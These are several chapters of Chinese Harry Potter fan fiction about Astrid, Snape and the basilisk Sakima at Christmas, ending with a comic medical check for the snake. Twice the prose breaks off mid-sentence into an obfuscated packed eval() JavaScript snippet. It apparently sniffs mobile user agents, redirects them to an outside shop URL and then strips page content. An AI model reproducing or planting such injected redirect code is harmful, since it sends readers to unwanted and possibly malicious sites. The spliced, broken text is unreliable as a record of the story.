最后,她的目光落在角落里那个不起眼的小盒子上。那个包裹很小,被压在最下面,用普通的牛皮纸包着,上面没有丝带,没有装饰,只有一个简单的署名——S.S。 阿斯特丽德拆开牛皮纸。 里面躺着一支深紫色的羽毛笔——准确的说,是介于紫罗兰和午夜之间,羽毛根部缠着一圈细细的银丝,银丝上缀着几颗极小的、会发光的珠子,时暗时亮,像是有什么东西在里面轻轻呼吸。羽毛尖微微翘起,挂着的吊牌上是手写体的名字“夜语”。盒子底部还有一小瓶墨水,也是深紫色的,和那支笔正好相配。 贺卡只有一句话,简短得不能再简短:“圣诞快乐。” 字条旁边还放着一包东西——是圣诞限量款的比比多味豆,包装纸上画着驯鹿和雪花的图案,还有金色的小星星在跳来跳去。 “嘶——!” 萨其马瞬间从窗台上窜了过来,趴在那袋多味豆上,尾巴尖疯狂摆动:‘胡椒薄荷!’它嘶嘶着,声音里充满了“老天爷终于开眼了”的激动,‘这包里肯定有胡椒薄荷!’ 阿斯特丽德笑着把袋子拆开,倒出几颗豆子递给它。萨其马一口吞下一颗,然后整条蛇都僵住了,嘴巴微微张开,半天没动。 ‘怎么了?’阿斯特丽德吓了一跳。 萨其马慢慢缓过神来:‘……是老鼠屎味的。老萨其马以为这辈子再也尝不到这么恶心的东西了。’ 阿斯特丽德笑得差点从床上滚下去。 与此同时,城堡某间空教室里,斯内普正站在四个咕嘟冒泡的坩埚前,手持魔杖,一脸生无可恋地盯着那些翻滚的液体。 那四口坩埚是他今早刚收到的圣诞礼物——一套完整的、顶级的、足以让任何魔药大师眼红的坩埚套装。四个锅身上面都刻着规律雅致的魔法纹路,那些纹路会在受热时自动亮起,显示当前温度,并且据说能让药剂的稳定性提升百分之二十。锅沿上都镶着一圈细细的银边,银边上还有刻度,可以精准测量液体体积。最大那口锅的底部还附赠了一个自动搅拌装置——一个小巧的魔法转盘,设定好搅拌速度和方向后,它会一直转下去,直到主人喊停。两个中间型号的锅则自带精准的温控系统,能在药液达到预期温度时自动减小火力。最小的那口锅内部镶嵌着细小的符文,那些符文的作用是——防止药液溢出。 是的,防止药液溢出。这个功能听起来很普通,但对于一个经常熬到深夜、偶尔会打瞌睡的魔药牛马来说,简直是救命之恩。 此刻,最小那口锅里正咕嘟咕嘟地冒着泡,熬制的是调整过配方比例的软化禁制魔药——尼可·勒梅的回信还没到,但邓布利多说可以先用这种魔药试试。最大那口锅里熬的则是另一批货,来自某庄园的驱虫剂订单——整整一百瓶,水仙花味的。 是的,现任马尔福家主显然已经听闻了霍格沃茨画像们对A.S驱虫剂的热烈好评,并在节前下达了这笔订单。早就达到消费标准并身为初代会员的马尔福家主还特别注明:要水仙花味的,因为茜茜喜欢那个。 当然,他在下单的同时,还全然保持着对待绝对谣言一般的轻蔑态度,压低声音问过斯内普:“你知道学校里最近那些传闻吗?” 卢修斯当时站在那间空教室门口,目光意味深长地落在斯内普身上,“弗林特、布莱克、马尔福、卡罗、莱斯特兰奇——几个最体面的家族都被编排了个遍。”他将声音压得更低,带着“我们都是体面人”的默契,“依你之见,对躲在幕后散布谣言、重伤几大家族的可耻臭虫,有什么头绪没有?” 他又凑近了些,语气也更神秘了:“那位大人也听闻了此事,对此很不高兴。你知道的,纯血家族的声誉,就是那位大人的声誉。莱斯特兰奇家的两兄弟气得摔了一整套古董茶具,说什么‘有本事单挑,躲在背后搞舆论战算什么本事’。那位大人认为,这很可能是凤凰社军师一类的人物干的,想用这种下作手段动摇纯血家族的团结。” 斯内普搅拌魔药的动作没有停顿,目光一直落在咕嘟冒泡的液体上,他的姿态谦逊得恰到好处:“请转告那位大人,这件事我会留心的。学校里但凡有一丝风吹草动,我都会及时向你汇报。” 他说出口的每一个字都像是被精心称量过:“至于那些所谓的‘秘辛’,依我看,不过是些无聊之人的无聊之作罢了。纯血家族的根基有多深厚,大家都是心知肚明的。几篇小报文章,连猫头鹰都飞不出去,能掀起什么风浪?谣言这种东西,越是郑重其事地去追查,越显得它好像真有几分可信。那位大人深谋远虑,自然明白这个道理。几个老故事而已,传一阵子也就淡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胖夫人脸上笑开了花:“哦,亲爱的,你可真是个甜心!我就知道你不会忘记我的。放心吧,我会继续帮你宣传的——那些老家伙们最近可离不开这个了。” 阿斯特丽德笑着挥挥手,继续往前走。 离开格兰芬多塔楼,她又晃悠到了女生盥洗室。桃金娘正从马桶里探出半个脑袋,眼睛红红的,像在酝酿什么情绪。 “桃金娘!”阿斯特丽德大喊了一声,然后从口袋里掏出一张贺卡,清了清嗓子,开始大声朗诵:“致亲爱的桃金娘:感谢你在我最需要帮助的时候伸出援手——不,伸出马桶。感谢你陪我探讨那些问题,帮我保守那些不能说的秘密。你是一个真正的朋友,一个值得信任的伙伴。祝你圣诞快乐,未来的日子里,希望随着霍格沃茨的升级更新,你能拥有纯金马桶泡澡。——你永远的朋友,阿斯特丽德。” 桃金娘听着听着,眼里的水雾慢慢褪了下去,取而代之的是一种别扭的、又忍不住想笑的表情。她“哼”了一声,一头扎进马桶里,只剩下水面上咕嘟咕嘟冒出的气泡。但在阿斯特丽德离开前,她又探出头来,小声嘟囔了一句:“……谢谢。” 阿斯特丽德满意地点点头,把贺卡放在洗手台上,转身离开了。 最后,她终于晃悠到了斯莱特林地窖。血人巴罗正飘浮在公共休息室入口处,那张可怖的脸上完全看不出任何节日氛围。 阿斯特丽德走上前,从口袋里掏出另一张贺卡。她刚准备开口朗诵,就被巴罗抬手制止了。 “别念。”他的声音依旧低沉冷漠,像从很远的地方飘来的回音,“举着,我自己看。” 阿斯特丽德乖乖举起那张贺卡,让它正对着巴罗的方向。 巴罗低头看去,在那些字迹上慢慢扫过。贺卡上写着:“致巴罗:圣诞快乐。新的一年,祝你朝朝暮暮守着格雷女士,最终等来忏悔一生的救赎。当然,是否原谅你,完全取决于格雷女士自己——我只是表达个愿景:愿你不再孤独。你忠诚的阿斯特丽德。” 巴罗又看了一遍,然后微微颔首,姿态依旧是中世纪的、无可挑剔的贵族礼仪:“……谢谢。” 阿斯特丽德冲他笑了笑,收起贺卡,转身往走廊另一头走去。 她要去那间空教室,慰问一下自己的高级合伙人兼活体生产线了。 51. 朋友 48. 阿斯特丽德推开空教室的门时,斯内普正好要给那锅咕嘟冒泡的驱虫剂关火。 他头都没回,只用魔杖轻轻点了点坩埚边缘,那团蓝色的火焰便乖乖地矮了下去,最后只剩几缕余烬在炉膛里明明灭灭。他的声音从坩埚上方飘过来,依旧是慢悠悠的调子:“时间刚刚好。” 话音落下,他才转过身来,目光落在她身上,“现在,该另一位可怜的生产线工人干活了。希望我们日理万机的董事长没有忘记,按照魔法部的劳动法规定,节假日加班是要发三倍工资的。” 阿斯特丽德耸了耸肩,从校袍口袋里掏出一个袖珍小瓶子,瓶子还没她拇指大,里面装着半瓶透明的液体,在昏暗的教室里泛着幽幽的光。 “喏,萨其马今日份的新鲜唾液,半小时前出炉的,还热乎着呢。” 斯内普接过瓶子,举到眼前端详了片刻,然后打开瓶塞,凑近闻了闻——他的眉头微微皱了皱,但没说什么。计算好大概用量后,他手腕微微一抖,往那锅驱虫剂里稳稳当当地滴了五滴。 五滴液体落入深绿色的药液中,瞬间泛起涟漪,随即消失不见,整个锅里的颜色变得更深沉了些。 他一边拧上瓶盖,一边开口:“那么,董事长对原材料的品控应该严格把关了吧?我是指,萨其马在提供这些唾液之前,最好刷过牙。我可不希望这锅辛辛苦苦熬了三个小时的驱虫剂,最后散发出一股多味豆的混合味道——那会严重损害品牌形象。” 阿斯特丽德的脸上慢慢浮现出“不妙”的表情。她微微歪着头,像是在努力回忆什么,然后忽然睁大眼睛,一脸刚想起来的样子:“哦,糟糕——萨其马今天太激动了,吃完那颗老鼠屎味的豆子之后,就兴冲冲地去校长室做客了。我还没来得及问它有没有刷牙。” 斯内普的表情凝固了片刻,然后他放下那个小瓶子,转过头看着她,“一颗老鼠屎味的豆子……有什么可激动的?” 他的目光往门口的方向飘了一下,又收回来。 “而且,它居然跑去校长办公室做客?”他微微眯着眼睛,“它就这么被一只火鸡腿收买了?它难道不知道,邓布利多的办公室里常驻着一只凤凰?而凤凰,从某种程度上来说,是完全克制蛇类的存在?还是说——”他的语气更慢了,满是意味深长的讽刺,“它此行的目的是去跟某个同样有零食爱好的老头分享这一独特口味?果然,两个老头更有共同语言。跨越物种的友谊,建立在老鼠屎味豆子的基础上。” “另外,我不得不指出,萨其马先生似乎完全忘记了做客的基本礼仪——至少应该打理一下自己,换条干净的围巾,而不是在节日第一天就顶着一嘴老鼠屎味去拜访别人。这种行为,在我们斯莱特林看来,是非常失礼的。” 哦,可怜的老萨其马,继你的主人被分到格兰芬多之后,你也被开除斯莱特林院籍了。 阿斯特丽德听他数落完那一长串,才摆摆手,笑呵呵地解释道:“昨晚邓布利多告诉它,校长室里常驻了一只凤凰,叫福克斯。而且福克斯并不惧怕蛇怪的瞪视——凤凰这种生物,据说完全免疫蛇怪的一切能力。邓布利多说,如果它不介意的话,他很欢迎它去校长室做客。” 斯内普只微微挑了挑眉,然后又继续盯着那锅驱虫剂,手里的魔杖轻轻搅动着。片刻之后,他才带着点微妙的笑意开口:“凤凰,倒是不挑剔客人。” 他心里很清楚,一个不惧怕蛇怪瞪视的朋友,对孤独了那么久的萨其马来说,意味着什么。 那是一段不必小心翼翼地时刻绷紧神经、不必担心自己一个眼神就杀死对方的关系。对一条活了千年的蛇怪来说,这比什么圣诞礼物都珍贵。 阿斯特丽德依旧是那副笑呵呵的模样:“它收到那包限量款多味豆之后,就兴冲冲地要求去分享给自己即将结交的新朋友了。它甚至还从我的零食框里选了一包最新款的吹宝泡泡糖,说是伴手礼。”她的脸上慢慢浮现出困惑,“虽然我很疑惑——邓布利多喜欢吹泡泡吗?” 斯内普的嘴角微微抽动了一下:“也许,我们伟大的校长比我们想象的要更有童心。或者,萨其马认为,交朋友的第一步就是确认对方会不会吹泡泡——这是一个非常合理的社交准则。” 阿斯特丽德被他逗笑,乐呵呵地补充:“而且它特别傲娇。它说它要先考察一下,那只凤凰是否够格做它的朋友。如果可以的话,它会勉为其难地跟福克斯培养一段跨物种的友谊。”她学着萨其马故作矜持的腔调,“尽管从它扭上旋转台阶的姿态来看,它明明就是迫不及待——它尾巴甩得都快飞起来了。” 斯内普轻轻哼了一声,嘴角却上扬着。他继续盯着那锅驱虫剂,看着它慢慢冷却下来,表面的泡沫渐渐消散,露出底下深邃的绿色。 阿斯特丽德背着手,像领导视察工作那样绕着他和四口坩埚转了一圈,最后在他身边站定,笑眯眯地开口:“那么,辛苦加班的这位员工,对新的生产设备有何使用回馈?请如实汇报,这对公司明年的设备采购计划很重要。” 斯内普看她一眼,然后放下魔杖,转过身用下巴示意那四口坩埚的方向:“董事长亲自来视察工作,真是让这座寒酸的小作坊蓬荜生辉。” 他慢条斯理地擦了擦手,然后指着那套坩埚。 “第一,加热均匀,控温精准,不会再出现锅底焦糊、上面还没开的尴尬局面。第二,自动搅拌功能解放了我的双手,让我可以在熬药的同时思考人生——虽然我的思考成果往往是怎么对付某个资本家的压榨。第三——” 他指着最小那口锅:“软化禁制的魔药,比预期提前了两个小时完成。托这套坩埚的福,你的原身离苏醒又近了一步。” “所以,”阿斯特丽德拖长了调子,“评价是好评?” “好评。”他说。 阿斯特丽德这才满意地点点头,很像一个验收合格的甲方:“很好,很好。看来这笔投资是值得的,明年继续给你配更好的。” 斯内普没接话,默默处理着收尾工作,但脑海里却在翻涌着另一件事。 他没有告诉阿斯特丽德,卢修斯·马尔福带来的那个消息。伏地魔已经知道了《纯血溯源》的事,并且为此恼怒。那些纯血家族的反应比他预想的还要激烈,而那位大人的关注,让这件事从一个校园八卦升级成了更危险的东西。 在伏地魔眼里,这是对纯血家族威望的挑衅,是对他统治基础的动摇。卢修斯没有说出口的那层意思是——那位大人希望尽快揪出幕后黑手,用足够有分量的方式杀一儆百。 斯内普看着阿斯特丽德正低头摆弄软木塞的背影,忽然意识到——如果她真的想把A.S做成她说的那样,做成一个能让“斯内普一世”和“杜兰特一世”站稳脚跟的产业,那光靠开发新产品、拓展新市场,是远远不够的。 真正的大机遇,从来不是从空白处凭空生长出来的。 而是从动荡中、从断裂处、从那些看似稳固的秩序被搅散之后的废墟里,才能捡到的。 现在的纯血家族,看似铁板一块,实则各自为政。他们把持着魔法界的资源、渠道、话语权,把一切都分得清清楚楚——就像一张早就画好的蛋糕切分图,每一块是谁的,早已定好,后来者连舔盘子的机会都没有。 但如果那张图被撕了呢? 如果那些家族引以为傲的“纯血荣耀”,被一桩桩陈年旧事戳破,变成了人人传阅的笑话呢? 如果那些原本团结在“纯血”大旗下的家族,因为面子、利益,因为互相猜忌,开始彼此撕咬呢? 那才是真正的机会。 那些古老的家族越是愤怒,越是互相猜疑,现有的秩序就越乱,乱到没人会注意两个小角色正在角落里悄悄建起自己的城堡。 他不打算告诉她这些。 那些暗流和危险、那些正在逼近的阴影——让她知道,除了徒增焦虑,没有任何意义。她只需要继续做她的事,继续笑眯眯地画那些饼,然后用她那堆不着调的办法把A.S越做越大。 剩下的,他来看着。 窗外的日光暗了几分,雪还在不紧不慢地下着,两人则默契地开始了流水线作业。 斯内普用魔杖轻轻点着那锅驱虫剂,深绿色的药液从锅里升起来,在半空中分成一道道细细的水流,精准地灌入排列整齐的玻璃瓶中。那些瓶子像训练有素的士兵,排着队一个个接满了液体,然后自己飘到一旁,等待下一个步骤。 阿斯特丽德坐在一旁的旧桌子前,面前堆着小山一样的木塞和一叠手写标签。她拿起一个刚装满的瓶子,用左手熟练地塞上木塞,右手同时拿起一张标签,飞快地贴好,然后往旁边一放。下一个瓶子立刻飘过来,落在她手边,她继续重复同样的动作。 教室里很安静,只有偶尔的“啵啵”声和窗外雪花落在玻璃上的细微声响。空气中弥漫着驱虫剂特有的草药香气,混合着坩埚加热后残留的余温。 斯内普偶尔会停下来,等阿斯特丽德把手边的瓶子处理完,再继续让下一批飘过去。阿斯特丽德会抬起头,冲他笑一笑,然后继续低头贴标签。 整整两百瓶驱虫剂,在“啵啵啵”的木塞声里完工,整整齐齐地码进了三个大箱子。 两人一起离开空教室,脚步声在空旷的走廊里轻轻回荡。斯内普先把那套坩埚送回了宿舍——那些锅具用漂浮咒托着,跟在他身后,挨个飘进公共休息室门后。阿斯特丽德靠在走廊的墙上等他,看着他的背影消失在拐角处,又很快出现。 暮色从四面八方漫过来,把城堡的石墙染成一片柔和的灰蓝色。远处禁林的树梢上还残留着最后一抹橘红,像是用画笔轻轻点了一下。雪花轻柔地飘落,细细密密的,在昏黄的光线里像无数只飞舞的萤火虫。 斯内普停在礼堂门口的台阶上,侧头看向她:“我要去猫头鹰棚屋,把驱虫剂寄给马尔福。希望那些猫头鹰今天心情不错,愿意加班。” 阿斯特丽德笑了笑,仰头看着他,眼底映着礼堂透出来的光,“我得去接萨其马,也不知道它在校长室玩得怎么样了,有没有让邓布利多的凤凰不堪其扰。” 他们沉默下来,然后—— “圣诞快乐,西弗勒斯。”阿斯特丽德先开口,声音轻柔。 斯内普回应得很快,很平常。 “圣诞快乐,阿斯塔。” 阿斯特丽德愣了一下,眼睛微微睁大,然后慢慢地、慢慢地弯了起来,弯成两道月牙。她歪着头看他,嘴角的弧度怎么都压不下去。 斯内普坦然迎着她的目光,但微微上挑的眉梢,分明是在说“怎么,不可以吗”。 阿斯特丽德清了清嗓子,“刚才不算,太随意了。我得重说。” 斯内普的眉梢挑得更高了。 阿斯特丽德正了正神色,认真地看着他:“圣诞快乐,西弗。” 两人对视了一瞬,然后同时移开目光。他们都心照不宣地知道——晚上会一起吃晚餐,老时间,老位置。 然后两个人转身,走向不同的方向。 阿斯特丽德推开校长办公室的门时,整个人愣在了门口。 房间里安静得出奇,只有壁炉里的火焰噼啪作响,把整个空间映得暖意融融。福克斯站在窗台上,一动不动,黑豆一样的眼睛直直地盯着前方。而在它对面,萨其马正竖着身子,同样一动不动,金黄色的眼睛直直地盯着福克斯。 萨其马的墨镜就搁在它旁边,安安静静地躺着,像被主人暂时遗忘了。 空气里有一种微妙的、一触即发的紧张感。 “啊,杜兰特小姐。”邓布利多的声音从房间深处传来,是一贯的慈祥笑意,“你来得正好。萨其马先生正在跟福克斯玩‘谁先眨眼谁就输’的游戏。” 阿斯特丽德忍不住先眨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334621|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼,一时不知道该怎么接话。 邓布利多坐在书桌后面,离那两只生物有相当一段距离,一副饶有兴致的观摩姿态。他朝阿斯特丽德招了招手,示意她走过去,然后压低声音说:“我很想做一个公正的裁判,但无奈我也不敢与蛇怪对视——所以,只能遗憾地远观了。” 阿斯特丽德忍不住笑出声,轻轻带上门后,走到邓布利多旁边,同样压低声音问:“它们这样多久了?” 邓布利多看了看墙上的挂钟:“嗯……大概二十分钟了。萨其马先生是挑战者,福克斯是应战者。目前来看,双方势均力敌,谁也没有要认输的迹象。” 那两个家伙还在一动不动地对视着,仿佛谁先眨眼谁就输了全世界。 邓布利多示意她在旁边的椅子上坐下,然后端起桌上的茶杯喝了一口,语气随意:“对了,尼可·勒梅的回信还没到。我甚至有点怀疑,我那只猫头鹰是不是还在冰天雪地里迷着路。”他给阿斯特丽德变出一杯热饮,“说实话,我开始有点担心它了——这种天气,猫头鹰迷失在大雪原上,可不是什么好玩的事。万一它被某个麻瓜捡到,以为是什么稀有物种,送去动物园展览,那可怎么办?” 阿斯特丽德笑着摇了摇头,一脸坦然:“其实这件事随缘就好。毕竟我当麻瓜也当了这么久了,不差这一时半会儿。” 邓布利多微微点了点头,继续喝着茶,偶尔瞥一眼那两个还在对峙的身影。 阿斯特丽德的目光落在桌子上那个空了的泡泡糖袋子上。她指着那个袋子,用眼神询问邓布利多。 邓布利多顺着她的目光看过去,随即笑了起来:“哦,那个不是我吃的。那是萨其马先生跟福克斯消耗掉的。”他看起来心情十分不错,“它们还玩了另一个游戏,叫它逃它追。萨其马负责吹泡泡,福克斯负责追它,用尖嘴戳破那些泡泡。它们玩得很开心,以至于把整包泡泡糖都消耗完了。” 阿斯特丽德想象着那个画面——一条碧绿的小蛇边疯狂扭动边吹出一个个晶莹的泡泡,一只金色的凤凰在后面追着戳破那些泡泡,满屋子都是“啵啵啵”的脆响…… 她在心里默默吐槽:萨其马,你可真会玩。 就在这时,福克斯微微动了一下,快速眨了眨眼。 萨其马立刻发出一阵欢快的嘶嘶声,满是得意和骄傲:‘老萨其马赢了!老萨其马是冠军!’ 福克斯无所谓地抖了抖羽毛,然后从窗台上飞起来,在房间里盘旋了一圈。它最终落在萨其马旁边,用尖嘴轻轻碰了碰那条得意忘形的肥美小蛇。 萨其马扭过头看它,嘶嘶声变得柔和许多:‘你是个好对手,老萨其马承认你了。’ 福克斯发出一声清越的鸣叫,声音在房间里回荡,像是回应。 邓布利多站起身,走到窗前推开了窗户。一阵冷冽的风夹着雪花涌进来,壁炉里的火焰跳动了一下,随即恢复了平静。他回头看向那两个玩了大半天的家伙,慈祥地建议道:“福克斯,带萨其马先生去看看外面的雪景吧。这种天气,最适合飞行了。” 阿斯特丽德:?是谁刚刚还在担心猫头鹰迷路的? 福克斯发出一声欢快的鸣叫,然后用爪子轻轻握住萨其马的身子,振翅飞出了窗外。 阿斯特丽德连忙跟到窗前,看着一金一绿两个身影在暮色里越飞越高。 外面的世界已经完全被雪覆盖了。禁林像一片沉睡的墨绿色海洋,树梢上积满了雪,在暮色里泛着幽幽的银光。城堡的塔楼上,每一扇窗户都透出温暖的灯火,把飘落的雪花映成一片流动的光河。远处的黑湖已经完全冻结,湖面上覆盖着一层薄薄的雪,像一面巨大的银镜,倒映着天空中最后一抹橘红。 福克斯带着萨其马在城堡上空盘旋,碧绿的蛇身在它爪子里兴奋地扭动着,发出一阵又一阵欢快的嘶嘶声。那些嘶嘶声被风吹散,断断续续地飘进阿斯特丽德的耳朵里—— ‘芜湖——老萨其马飞起来了!比那天飞的爽多了!’ ‘福克斯你快点——对,再快点!’ ‘老萨其马是天空之王!老萨其马——芜湖!’ “它在说什么?”邓布利多问。 “它说它现在是天空之王,而且这是它这辈子收到的,最好的圣诞礼物。” 邓布利多双手负在身后,仰望着那两个越来越小的身影,发出哲人般的感慨:“飞翔的感觉,确实是最接近自由的,福克斯也很久没这么开心了。上一次,大概还是很多年前,它带着我在城堡上空转圈,把我那顶帽子吹飞了。”他的目光追着那两个越来越小的点,“凤凰是很长情的生物,但也因此,它们很难交到新朋友。因为它们的生命太长,总是看着朋友一个个离开。” 福克斯带着萨其马越飞越远,两个身影渐渐融进暮色里,变成模糊的小点,最后彻底消失在禁林上方那片幽暗的天际线里。 斯内普从猫头鹰棚屋出来的时候,雪还在下。两百瓶驱虫剂此刻正往威尔特郡的方向飞去。 他沿着被积雪覆盖的小路往城堡走,走着走着,忽然停下了脚步。 夜空中,两个小小的身影从城堡的方向飞过来——一个金红色的,在暮色里熠熠生辉,像是遗留的一小片晚霞;一个碧绿的,在金色身影的爪下欢快地扭动着,明显很享受难得的旅程。它们越飞越高,越飞越远,最后融进幽暗的天幕里,变成若隐若现的光点。 福克斯,还有萨其马。 斯内普站在雪地里,仰望着那两个渐行渐远的身影。雪花落在他的肩头、发顶,很快就积了薄薄一层。 片刻后,他收回目光,继续往城堡的方向走。靴子在雪地上踩出一串深深浅浅的脚印,远处的城堡灯火通明,犹如一座温暖的灯塔,在雪夜里静静伫立。 而他身后,那片墨蓝色的天幕上,偶尔还能看见两个小小的光点在云层间一闪而过,宛若两颗正在嬉戏的星星。 52. 体检与形象照 49. 由于霍格沃茨要为留校学生们的安全负责,而霍格沃茨特快列车的司机也理所当然地休假去了,再加上两人都还不会幻影移形——当然主要是斯内普还不会,她那点魔力学没学区别不大——所以阿斯特丽德只能采取远程申请宠物户口和证件的方式,通过猫头鹰把相关材料寄到魔法部野生动物管理与监控司。 不过这也有好处,比如在邓布利多校长亲自提供的混淆咒的掩护下,萨其马可以仅作为一条孱弱的、有白内障的、带一点点毒性的普通流浪老蛇,轻松混过庞弗雷夫人的全套体检项目。 校医院里弥漫着一股魔药和消毒水混合的气味。庞弗雷夫人站在铺着白布的诊疗台前,手里拿着一份体检表,严厉的目光上下打量着面前那条紧张的小蛇。 “名字?”庞弗雷夫人开始问话,羽毛笔在纸上刷刷地写着。 “萨其马。”阿斯特丽德站在一旁,替它回答。 “年龄?” “呃……”阿斯特丽德估摸着回答,“流浪蛇,具体年龄不详,估计……七八岁?” 庞弗雷夫人看了她一眼,然后继续往下问:“品种?” “普通……竹叶青。”阿斯特丽德硬着头皮答。 庞弗雷夫人又看了她一眼,但还是没有追问,只是刷刷刷地在纸上写下几个字。 “好了,开始体检。”她放下羽毛笔,拿起魔杖,“先测视力。” 阿斯特丽德心里一紧。 庞弗雷夫人伸手就要去摘那副墨镜:“这个得摘掉。” “等等等等——”阿斯特丽德连忙拦住她,脸上堆满了真诚的笑容,“庞弗雷夫人,它……它自尊心特别强,不喜欢别人看到它的眼睛。而且它确实有白内障,医生说了要长期佩戴墨镜来保护。您看这样行不行,反正它以后也要长期戴墨镜的,不如就测矫正视力?用墨镜测,这样也更符合它的日常状态。” 庞弗雷夫人停下动作,精明的眼神直直地盯着她,盯得她心里发毛。片刻之后,庞弗雷夫人收回手,从抽屉里拿出一张视力表挂在墙上。表上画着各种大小不一的图案——扫帚、坩埚、猫头鹰、魔杖,一排排密密麻麻的,而且都会动。她示意萨其马看着那个方向,然后用魔杖指着最小的那一行问:“这个,能看清吗?” 萨其马透过墨镜盯着那张表,尾巴尖轻轻摆动了两下。 庞弗雷夫人又指了一排稍大的。 萨其马依旧用尾巴示意“不行”。 “它能看清。”阿斯特丽德连忙翻译,“它说能看清。” 庞弗雷夫人狐疑地看了那条蛇一眼,蹙眉思考了一会儿,最后还是在那张表上勾了几笔。 接下来是测身长。 庞弗雷夫人拿出一把银色的卷尺,卷尺自动飘起来,绕着萨其马转了一圈。萨其马乖乖地伸直身子,躺在检查台上一动不动。 “身长15厘米?”庞弗雷夫人看着卷尺上显示的数字,眉头再次蹙起。 阿斯特丽德面不改色地站在一旁。 庞弗雷夫人摇了摇头,继续记录在表格上。 然后是体重。 萨其马被放到一个小巧的银色托盘上,托盘悬在半空中,下面有金色的数字在跳动。 “体重……三十二克。”庞弗雷夫人念出数字,眼里的狐疑更浓了。 阿斯特丽德依旧面不改色。 接下来是抽血。 庞弗雷夫人拿出一根细细的银针,针头在阳光下闪着寒光。萨其马看着那根针,身子微微绷紧,然后又把那点紧张压下去,乖巧地伸出尾巴尖。 一针扎下去。 萨其马发出一声细微的嘶嘶,但还没来得及挣扎,那针已经抽完了。一小滴血液从针尖渗出来,被吸入一个细长的玻璃管里。庞弗雷夫人把那管血放到旁边一台嗡嗡作响的仪器里,仪器上的指针开始跳动,各种颜色的光芒闪烁起来。 “等一会儿,结果很快就出来。”她说完又继续下一个项目——用魔杖把萨其马从头到尾扫了一遍,一边扫一边念叨着:“心跳有点快,血压偏高。” 萨其马被扫得浑身痒痒,尾巴尖忍不住轻轻摆动。 “别动。”庞弗雷夫人头也不抬。 萨其马立刻定住。 十分钟后,体检结果出来了。 庞弗雷夫人捏着那张单子,眉头依旧蹙着,她看向阿斯特丽德的目光颇为严肃。 “杜兰特小姐,你这条蛇……”她指着单子上的几行数据,“血糖数值不太理想,轻微超标。它平时应该没少吃甜食。” 阿斯特丽德心虚地移开目光,暗自决定要收起零食筐。 “另外,”庞弗雷夫人继续说,手指往下移了几行,“由于长期流浪,忍饥挨饿,它有轻微的胆囊炎,需要长期服药调理,饮食要规律,不能暴饮暴食。” 阿斯特丽德连忙点头:“好的好的,记住了。” “还有这个——”庞弗雷夫人指了指最下面一行,“骨质疏松症,可能跟长期缺乏光照和运动有关。需要补钙,长期补,不然年纪再大点,鳞片都会松动。” 阿斯特丽德的表情更心虚了——暗无天日的地下密室,确实不是个养生的好地方。 “好的好的,我会多加注意的。” “我给它开一些补剂,”庞弗雷夫人转身走向药柜,从里面拿出几个瓶瓶罐罐,“葡萄糖钙铁锌,每天早晚各一次,混在食物里喂。还有这个,维生素AD,每周两次,促进钙吸收。这个胆囊炎的药,每三天一次,碾碎了拌在肉里。” 她一边说,一边把那些补剂堆在桌上,很快堆成一座小山。然后她又从抽屉里拿出一个温度计,“每天早晚测体温,记录在案。下个月这个时候再来复查。” 阿斯特丽德抱着那一袋子药,连连点头,姿态十分恭敬——比对着邓布利多时还要恭敬。 “谢谢庞弗雷夫人。” 庞弗雷夫人摆摆手,“你是它的监护人,以后可得多操点心。” 从校医院出来,阿斯特丽德拎着那袋子药,揣着萨其马,沿着走廊往回走。 ‘听到没有,以后要少吃糖——那些多味豆、滋滋蜜蜂糖,都不能再随便吃了。要多吃蔬菜和肉类,主食也要吃够。还有这些补剂,早晚记得喝,一滴都不能少。不然下次复查的时候指标还不好,庞弗雷夫人会骂我的。’ 口袋里传来一阵委屈的嘶嘶声:‘可是老萨其马活了九百多年,好不容易才吃上这么甜的糖……’ 阿斯特丽德拍了拍口袋,语气坚决:‘自律是为了活得更好。听话,乖马马。等你指标正常了,偶尔可以奖励一小块。’ 口袋里的嘶嘶声变得更委屈了,但还是乖乖地应了一声:‘……好吧。’ 片刻后,‘那些药,苦吗?’ “苦也得喝。”阿斯特丽德低头看了它一眼,语气跟所有操心的家长一模一样,“从今天起,早晚我盯着你喝。” ‘……’萨其马沉默了一会儿,才闷闷地说:‘本勇士千年来没喝过药,一世英名……’ 阿斯特丽德笑出声,轻轻拍了拍它。 一人一蛇的身影渐渐消失在走廊尽头,那些叮嘱声和抗议的嘶嘶声混合在一起,越来越远,最后消散在窗外漫天飞舞的雪花里。 填好厚厚一沓申请落户的表格后,阿斯特丽德又马不停蹄地开始了下一项任务——给萨其马拍一寸证件照。 菲琳娜借给她的那台魔法相机此刻正放在格兰芬多公共休息室的茶几上。相机是银色的,机身上刻着祝福语,据说是菲琳娜的祖母传下来的老物件。 阿斯特丽德把萨其马放在高背椅上,椅背上贴着一张白纸做背景。它端端正正地盘在那,戴着标志性小墨镜,尾巴尖规规矩矩地收在身侧,姿态庄重得犹如参加霍格沃茨落成仪式。 ‘好,别动啊。’阿斯特丽德举起相机,透过取景框看着它。 萨其马维持着斯莱特林院徽上的姿态。 ‘再往左边一点点——对,头抬起来一点——太高了,低一点——好,就这样,别动!’ 萨其马小小的身子绷得笔直,它已经保持着这个姿势整整五分钟了,尾巴尖都在微微颤抖。 一道刺眼的白光闪过,还在晃动的照片从相机底部吐出来。 画面里,萨其马端坐在白纸前,墨镜微微反光,姿态确实很端庄——如果忽略它尾巴尖因为紧张而微微翘起的那一点点弧度的话。 “完美。”阿斯特丽德拿起照片吹了吹,等画面固定下来,“再来一张备用的。” 萨其马认命地继续端坐。 